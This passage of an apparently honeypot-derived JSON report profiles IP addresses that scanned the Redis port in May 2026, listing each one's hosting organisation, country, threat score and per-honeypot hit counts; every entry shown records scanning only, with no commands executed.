      "attack_count": 16,
      "first_seen": "2026-05-25T16:44:19.000Z",
      "last_seen": "2026-05-27T10:56:18.134Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 209630,
      "as_org": "LLC Vash Kredit Bank",
      "threat_score": 53.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.8,
        "persistence": 5.8,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 60,
        "days_active_30d": 7,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T16:45:39.232000+00:00",
        "last_seen_30d": "2026-05-31T22:20:34.365000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 56,
        "Ciscoasa": 4
      }
    },
    "109.123.111.89": {
      "attack_count": 15,
      "first_seen": "2026-05-21T20:48:42.000Z",
      "last_seen": "2026-05-23T00:21:31.763Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 13213,
      "as_org": "Thg Hosting Limited",
      "threat_score": 50.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.2,
        "persistence": 5.0,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 6,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-21T08:55:43.502000+00:00",
        "last_seen_30d": "2026-05-26T07:40:22.523000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Honeytrap": 9,
        "Redishoneypot": 4,
        "Cowrie": 2
      }
    },
    "185.180.141.7": {
      "attack_count": 15,
      "first_seen": "2026-05-11T06:53:45.000Z",
      "last_seen": "2026-05-11T06:56:34.199Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 21859,
      "as_org": "Zenlayer Inc",
      "threat_score": 56.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.6,
        "persistence": 15.8,
        "diversity": 16,
        "spread": 20,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 72,
        "days_active_30d": 19,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-07T10:13:38.047000+00:00",
        "last_seen_30d": "2026-05-25T19:30:56.360000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 34,
        "Honeytrap": 24,
        "Miniprint": 11,
        "Redishoneypot": 3
      }
    },
    "20.121.46.221": {
      "attack_count": 15,
      "first_seen": "2026-05-31T21:34:04.000Z",
      "last_seen": "2026-05-31T21:36:13.761Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 71.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 12.8,
        "persistence": 25,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 30,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T10:19:24+00:00",
        "last_seen_30d": "2026-05-31T21:36:13.761000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Honeytrap": 3,
        "Redishoneypot": 3,
        "Dionaea": 1
      }
    },
    "20.65.194.189": {
      "attack_count": 15,
      "first_seen": "2026-05-31T07:30:37.000Z",
      "last_seen": "2026-05-31T07:33:23.540Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 65.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.9,
        "persistence": 23.3,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 28,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T22:37:19.888000+00:00",
        "last_seen_30d": "2026-05-31T07:33:23.540000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 20,
        "Honeytrap": 8,
        "Redishoneypot": 3
      }
    },
    "20.84.60.216": {
      "attack_count": 15,
      "first_seen": "2026-05-26T16:05:44.000Z",
      "last_seen": "2026-05-26T16:08:59.768Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 50.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.6,
        "persistence": 11.7,
        "diversity": 12,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 14,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-15T03:25:18+00:00",
        "last_seen_30d": "2026-05-28T09:46:09.790000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Honeytrap": 3,
        "Redishoneypot": 3,
        "Dionaea": 1
      }
    },
    "195.184.76.18": {
      "attack_count": 14,
      "first_seen": "2026-05-29T19:40:11.000Z",
      "last_seen": "2026-05-29T19:41:33.105Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 73.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.0,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 28,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T00:15:09+00:00",
        "last_seen_30d": "2026-05-29T19:41:33.105000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 78,
        "Honeytrap": 20,
        "Redishoneypot": 3
      }
    },
    "199.45.155.69": {
      "attack_count": 13,
      "first_seen": "2026-05-20T18:43:05.000Z",
      "last_seen": "2026-05-20T18:44:13.577Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398722,
      "as_org": "Censys, Inc.",
      "threat_score": 79.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.4,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 69,
        "days_active_30d": 28,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T04:08:28+00:00",
        "last_seen_30d": "2026-05-29T23:54:02.815000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 32,
        "Honeytrap": 25,
        "Cowrie": 6,
        "Redishoneypot": 6
      }
    },
    "91.230.168.39": {
      "attack_count": 13,
      "first_seen": "2026-05-22T20:48:39.000Z",
      "last_seen": "2026-05-22T20:49:56.636Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 79.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.3,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 68,
        "days_active_30d": 29,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T15:04:36+00:00",
        "last_seen_30d": "2026-05-30T01:36:52.385000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 41,
        "Honeytrap": 23,
        "Redishoneypot": 3,
        "CitrixHoneypot": 1
      }
    },
    "66.132.172.105": {
      "attack_count": 12,
      "first_seen": "2026-05-18T21:35:20.000Z",
      "last_seen": "2026-05-18T21:36:26.745Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 87.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.2,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 165,
        "days_active_30d": 28,
        "ports_targeted_30d": 39,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-03T09:00:18+00:00",
        "last_seen_30d": "2026-05-30T16:38:54.678000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 104,
        "Honeytrap": 41,
        "Redishoneypot": 6,
        "ConPot": 4,
        "ElasticPot": 4,
        "H0neytr4p": 2,
        "Dicompot": 1,
        "Dionaea": 1
      }
    },
    "66.132.172.130": {
      "attack_count": 12,
      "first_seen": "2026-05-26T06:35:28.000Z",
      "last_seen": "2026-05-26T06:36:36.935Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 83.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.4,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 139,
        "days_active_30d": 27,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-03T03:14:53+00:00",
        "last_seen_30d": "2026-05-29T18:17:35.861000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 82,
        "Honeytrap": 37,
        "ElasticPot": 12,
        "Redishoneypot": 6,
        "Dionaea": 2
      }
    },
    "66.132.186.189": {
      "attack_count": 12,
      "first_seen": "2026-05-25T02:31:29.000Z",
      "last_seen": "2026-05-25T02:32:31.508Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 81.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.2,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 133,
        "days_active_30d": 28,
        "ports_targeted_30d": 41,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T20:47:14+00:00",
        "last_seen_30d": "2026-05-30T16:46:33.512000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 74,
        "Honeytrap": 51,
        "Redishoneypot": 6,
        "Dionaea": 2
      }
    },
    "66.132.195.65": {
      "attack_count": 12,
      "first_seen": "2026-05-12T23:15:27.000Z",
      "last_seen": "2026-05-12T23:16:34.161Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 163,
        "days_active_30d": 30,
        "ports_targeted_30d": 47,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T09:36:12+00:00",
        "last_seen_30d": "2026-05-31T12:07:30.866000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 83,
        "Honeytrap": 61,
        "Cowrie": 10,
        "Redishoneypot": 6,
        "ConPot": 2,
        "Dionaea": 1
      }
    },
    "138.199.60.27": {
      "attack_count": 11,
      "first_seen": "2026-05-08T12:24:44.000Z",
      "last_seen": "2026-05-08T12:25:53.697Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 212238,
      "as_org": "Datacamp Limited",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T12:24:44+00:00",
        "last_seen_30d": "2026-05-08T12:25:53.697000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "45.56.83.247": {
      "attack_count": 11,
      "first_seen": "2026-05-11T12:51:49.000Z",
      "last_seen": "2026-05-19T12:53:58.525Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Fremont",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 72.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 179,
        "days_active_30d": 30,
        "ports_targeted_30d": 151,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T03:40:55.381000+00:00",
        "last_seen_30d": "2026-05-31T22:06:32.309000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 179
      }
    },
    "87.249.134.4": {
      "attack_count": 11,
      "first_seen": "2026-05-25T15:16:29.000Z",
      "last_seen": "2026-05-25T15:17:36.137Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 212238,
      "as_org": "Datacamp Limited",
      "threat_score": 61.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.8,
        "persistence": 12.5,
        "diversity": 12,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 153,
        "days_active_30d": 15,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-13T04:24:27.902000+00:00",
        "last_seen_30d": "2026-05-27T03:50:14.905000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 87,
        "Suricata": 52,
        "ElasticPot": 6,
        "Honeytrap": 3,
        "Redishoneypot": 3,
        "Dionaea": 2
      }
    },
    "91.230.168.77": {
      "attack_count": 11,
      "first_seen": "2026-05-12T16:18:57.000Z",
      "last_seen": "2026-05-30T09:10:41.689Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 83.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 221,
        "days_active_30d": 30,
        "ports_targeted_30d": 108,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T00:39:59.698000+00:00",
        "last_seen_30d": "2026-05-31T22:46:53.842000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 184,
        "Honeytrap": 36,
        "Dionaea": 1
      }
    },
    "114.113.235.163": {
      "attack_count": 10,
      "first_seen": "2026-05-05T00:13:15.000Z",
      "last_seen": "2026-05-05T19:45:57.878Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4808,
      "as_org": "China Unicom Beijing Province Network",
      "threat_score": 1.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-05T00:14:16.452000+00:00",
        "last_seen_30d": "2026-05-05T19:45:57.878000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2
      }
    },
    "3.83.245.221": {
      "attack_count": 10,
      "first_seen": "2026-05-18T00:54:48.000Z",
      "last_seen": "2026-05-26T03:48:11.596Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 75.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 25.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 328,
        "days_active_30d": 30,
        "ports_targeted_30d": 173,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T01:07:29.671000+00:00",
        "last_seen_30d": "2026-05-31T18:34:50.113000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 328
      }
    },
    "142.93.199.16": {
      "attack_count": 9,
      "first_seen": "2026-05-31T21:25:48.000Z",
      "last_seen": "2026-05-31T21:26:51.424Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T21:25:49+00:00",
        "last_seen_30d": "2026-05-31T21:26:51.424000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "198.235.24.249": {
      "attack_count": 9,
      "first_seen": "2026-05-25T01:31:53.000Z",
      "last_seen": "2026-05-25T01:33:31.272Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 85.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.7,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 93,
        "days_active_30d": 29,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T19:43:10.310000+00:00",
        "last_seen_30d": "2026-05-30T04:24:51.468000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 59,
        "Honeytrap": 25,
        "ConPot": 5,
        "Redishoneypot": 3,
        "Dionaea": 1
      }
    },
    "20.185.229.25": {
      "attack_count": 9,
      "first_seen": "2026-05-18T20:09:48.000Z",
      "last_seen": "2026-05-18T20:10:54.104Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T20:09:48+00:00",
        "last_seen_30d": "2026-05-18T20:10:54.104000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "44.220.185.49": {
      "attack_count": 9,
      "first_seen": "2026-05-26T18:08:51.000Z",
      "last_seen": "2026-05-26T18:09:55.764Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T18:08:51+00:00",
        "last_seen_30d": "2026-05-26T18:09:55.764000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "47.236.24.189": {
      "attack_count": 9,
      "first_seen": "2026-05-25T12:39:36.000Z",
      "last_seen": "2026-05-25T12:40:36.477Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T12:39:36+00:00",
        "last_seen_30d": "2026-05-25T12:40:36.477000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "194.50.16.198": {
      "attack_count": 8,
      "first_seen": "2026-05-03T09:19:55.000Z",
      "last_seen": "2026-05-11T01:37:21.342Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 33.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 9.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 217809,
        "days_active_30d": 11,
        "ports_targeted_30d": 1910,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-05-03T00:26:13.239000+00:00",
        "last_seen_30d": "2026-05-13T01:56:46.604000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 146945,
        "Honeytrap": 68780,
        "Cowrie": 393,
        "Miniprint": 360,
        "Mailoney": 315,
        "Dionaea": 262,
        "ConPot": 260,
        "Dicompot": 90,
        "Sentrypeer": 88,
        "Adbhoney": 84,
        "H0neytr4p": 56,
        "ElasticPot": 45,
        "Honeyaml": 45,
        "Ipphoney": 43,
        "Tanner": 43
      }
    },
    "193.163.125.28": {
      "attack_count": 7,
      "first_seen": "2026-05-28T06:27:20.000Z",
      "last_seen": "2026-05-28T06:28:29.475Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 74.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 29,
        "ports_targeted_30d": 73,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T04:07:06.639000+00:00",
        "last_seen_30d": "2026-05-31T19:16:25.406000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 100,
        "ConPot": 1
      }
    },
    "139.144.16.242": {
      "attack_count": 6,
      "first_seen": "2026-05-30T11:45:16.000Z",
      "last_seen": "2026-05-30T11:46:23.643Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-30T11:46:23.643000+00:00",
        "last_seen_30d": "2026-05-30T11:46:23.643000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "167.71.26.229": {
      "attack_count": 6,
      "first_seen": "2026-05-10T06:23:06.000Z",
      "last_seen": "2026-05-10T06:24:42.158Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 2,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-09T13:28:48.163000+00:00",
        "last_seen_30d": "2026-05-10T09:30:21.471000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28
      }
    },
    "193.163.125.23": {
      "attack_count": 6,
      "first_seen": "2026-05-07T03:43:29.000Z",
      "last_seen": "2026-05-07T03:44:30.447Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 69.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 94,
        "days_active_30d": 30,
        "ports_targeted_30d": 91,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T00:23:46.282000+00:00",
        "last_seen_30d": "2026-05-31T18:44:52.242000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 94
      }
    },
    "47.121.183.231": {
      "attack_count": 6,
      "first_seen": "2026-05-08T12:07:27.000Z",
      "last_seen": "2026-05-08T12:08:31.654Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenzhen",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-08T12:08:31.654000+00:00",
        "last_seen_30d": "2026-05-08T12:08:31.654000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "66.132.172.224": {
      "attack_count": 6,
      "first_seen": "2026-05-20T23:11:57.000Z",
      "last_seen": "2026-05-20T23:13:05.255Z",
      "sessions": 0,
